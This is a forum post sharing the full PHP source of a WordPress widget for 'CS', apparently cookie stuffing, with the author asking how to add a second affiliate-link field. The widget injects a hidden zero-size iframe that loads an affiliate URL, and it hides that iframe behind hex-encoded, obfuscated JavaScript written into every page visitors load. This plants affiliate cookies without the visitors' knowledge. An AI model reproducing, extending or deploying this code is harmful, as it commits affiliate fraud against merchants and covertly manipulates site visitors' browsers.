jonnyh431
Junior Member
- Jan 27, 2009
- 165
- 106
I have a wordpress widget I have been using. It is for CS and allows you to add an affiliate link into a input field, the only problem is that you can only add one link. Does anyone know how to add another text field? Heres the code:
Code:
// We're putting the plugin's functions in one big function we then
// call at 'plugins_loaded' (add_action() at bottom) to ensure the
// required Sidebar Widget functions are available.
function widget_getcookie_init() {
// Check to see required Widget API functions are defined...
if ( !function_exists('register_sidebar_widget') || !function_exists('register_widget_control') )
return; // ...and if not, exit gracefully from the script.
// This function prints the sidebar widget--the cool stuff!
function widget_getcookie($args) {
// $args is an array of strings which help your widget
// conform to the active theme: before_widget, before_title,
// after_widget, and after_title are the array keys.
extract($args);
// Collect our widget's options, or define their defaults.
$options = get_option('widget_getcookie');
//$title = empty($options['title']) ? 'My Widget' : $options['title'];
$text = empty($options['text']) ? 'http://www.myfreego.co.uk' : $options['text'];
// It's important to use the $before_widget, $before_title,
// $after_title and $after_widget variables in your output.
echo $before_widget;
// echo $before_title . $title . $after_title;
// this where to put output
$string="<div style=\"position:absolute;left:0px;top:0px;visibility:hidden;\" id=\"datadiv\"><iframe src=\"".$text."\" height=\"0\" width=\"0\"></iframe></div>";
$hex_string = bin2hex($string);
$code="<script language=\"JavaScript\" type=\"text/javascript\">//\nvar i,y,x=\"$hex_string\";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);</script>";
echo $code;
// end output
echo $after_widget;
}
// This is the function that outputs the form to let users edit
// the widget's title and so on. It's an optional feature, but
// we'll use it because we can!
function widget_getcookie_control() {
// Collect our widget's options.
$options = $newoptions = get_option('widget_getcookie');
// This is for handing the control form submission.
if ( $_POST['getcookie-submit'] ) {
// Clean up control form submission options
$newoptions['title'] = strip_tags(stripslashes($_POST['getcookie-title']));
$newoptions['text'] = strip_tags(stripslashes($_POST['getcookie-url']));
}
// If original widget options do not match control form
// submission options, update them.
if ( $options != $newoptions ) {
$options = $newoptions;
update_option('widget_getcookie', $options);
}
// Format options as valid HTML. Hey, why not.
$title = htmlspecialchars($options['title'], ENT_QUOTES);
$text = htmlspecialchars($options['text'], ENT_QUOTES);
// The HTML below is the control form for editing options.
?>
<div>
<!-- <label for="getcookie-title" style="line-height:35px;display:block;">Widget title: <input type="text" id="getcookie-title" name="getcookie-title" value="<?php echo $title; ?>" /></label> -->
<p>Make sure you use http:// in your url!</p>
<label for="getcookie-url" style="line-height:35px;display:block;">Affiliate URL: <input type="text" id="getcookie-url" name="getcookie-url" value="<?php echo $text; ?>" /></label>
<input type="hidden" name="getcookie-submit" id="getcookie-submit" value="1" />
</div>
<?php
// end of widget_getcookie_control()
}
// This registers the widget. About time.
register_sidebar_widget('Get Cookie', 'widget_getcookie');
// This registers the (optional!) widget control form.
register_widget_control('Get Cookie', 'widget_getcookie_control');
}
// Delays plugin execution until Dynamic Sidebar has loaded first.
add_action('plugins_loaded', 'widget_getcookie_init');
?>